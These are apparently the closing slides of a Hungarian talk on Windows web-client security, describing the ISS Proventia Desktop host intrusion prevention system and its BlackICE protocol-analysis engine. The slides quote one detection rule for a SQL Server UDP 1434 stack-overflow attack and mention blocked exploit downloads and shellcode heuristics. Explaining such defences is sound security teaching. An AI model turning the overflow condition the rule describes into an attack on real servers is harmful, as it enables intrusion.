A Proventia Desktop egy host IPS, amely rendelkezik • csomagszűrő tűzfallal, • hálózati forgalmat elemző IDS modullal, amely a tűzfallal karöltve képes IPS-ként működni, • puffer túlcsorduláson alapuló exploit működését blokkoló komponenssel, • BitDefenderrel integráltva hagyományos vírus- és spyware védelemmel, • a programkód futtatás előtti „virtuális környezetben” történő elemzését végző modullal (VPS), • elérési útvonal, fájlnév és ellenőrző összegen alapuló alkalmazás kontrollal, • eseménygyűjtő és konfigurációs központi menedzsmenttel.

Tapasztalatom szerint az egyes modulok különböző fejlettségi szinten állnak. A legrégebben meglévők (tűzfal, IDS) a legmegbízhatóbbak, az alkalmazás kontroll viszont gyengébb mint a piacon lévő ingyenes programok egy részében.

Host IPS: ISS Proventia Desktop

Utóbbiról további információk olvashatóak a

http://itsecurity.buzz.hu/archives/2007/05/26/Bevezetes_Alkalmazas-felugyelet/

oldalról kiindulva...

Page 45: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A Proventia Desktop IDS moduljának motorja BlackICE néven ismert. A BlackICE engine protokoll analízist végez a hálózati forgalmon. A protokoll analízis lényege a hálózati csomagok TCP/IP rétegek protokolljai alapján történő feldarabolása beleértve az alkalmazás réteget is. A feldarabolást parserek végzik, az elemzés pedig a részekre vonatkozó szabályok alapján történik. Egy mintaszabály (Forrás: Robert Graham):

SQL_SSRP_StackBo is ( udp.dst == 1434 ssrp.type == 4 ssrp.name.length > ssrp.threshold)

A parserek között nemcsak hálózati protokoll darabolók találhatóak, hanem fájlformátum kezelők is. 2007. márciusában 120 hálózati protokoll és 46 fájlformátum parser végezte a forgalom elemzését.

Protokoll analízis

Page 46: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Az alsó képen egy exploit szerverről letöltődő exploitok (ANI illetve WMF) csomageldobásos blokkolásának ténye látható.

Fájlformátum támadások felismerése

Page 47: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

A VPS modul jelenleg Beta tesztelés alatt álló újdonsága a shellkód heurisztika, amelyet elsősorban a puffer túlcsordulásos fájlformátum sérülékenységek kihasználására indított támadások hatékonyabb felismerése érdekében vezettek be. Az adatfájlokban elrejtett shellkódok felismerése a feladata.

Shellkód heurisztika

Page 48: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Csak felsorolás szintjén: • webes botnetek (Zunker), • Storm worm (Zhelatin), • fast flux hálózatok, • JavaScript obfuscation technikák részletezése, • heap spraying technika részletezése, • a letöltők által futtatott kártékony kódok, • hogyan töltsünk le kártékony kódokat, • hogyan elemezzünk kártékony kódokat, • miképp találjunk kártékony scripteket, • hogyan azonosíthatjuk egy exploit kit verzióját, • konkluzió...

Amiről nem esett szó...

Page 49: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

1. Ed Skoudis, Lenny Zeltser: Malware: Fighting Malicious Code, Prentice Hall PTR, 2003

2. Peter Szor: The Art of Computer Virus Research and Defense, Addison-Wesley Professional, 2005

3. Internet

Ajánlott szakirodalom

Page 50: Windows-os webes kliensek biztonsága

Windows-os webes kliensek biztonsága

Köszönöm a figyelmet!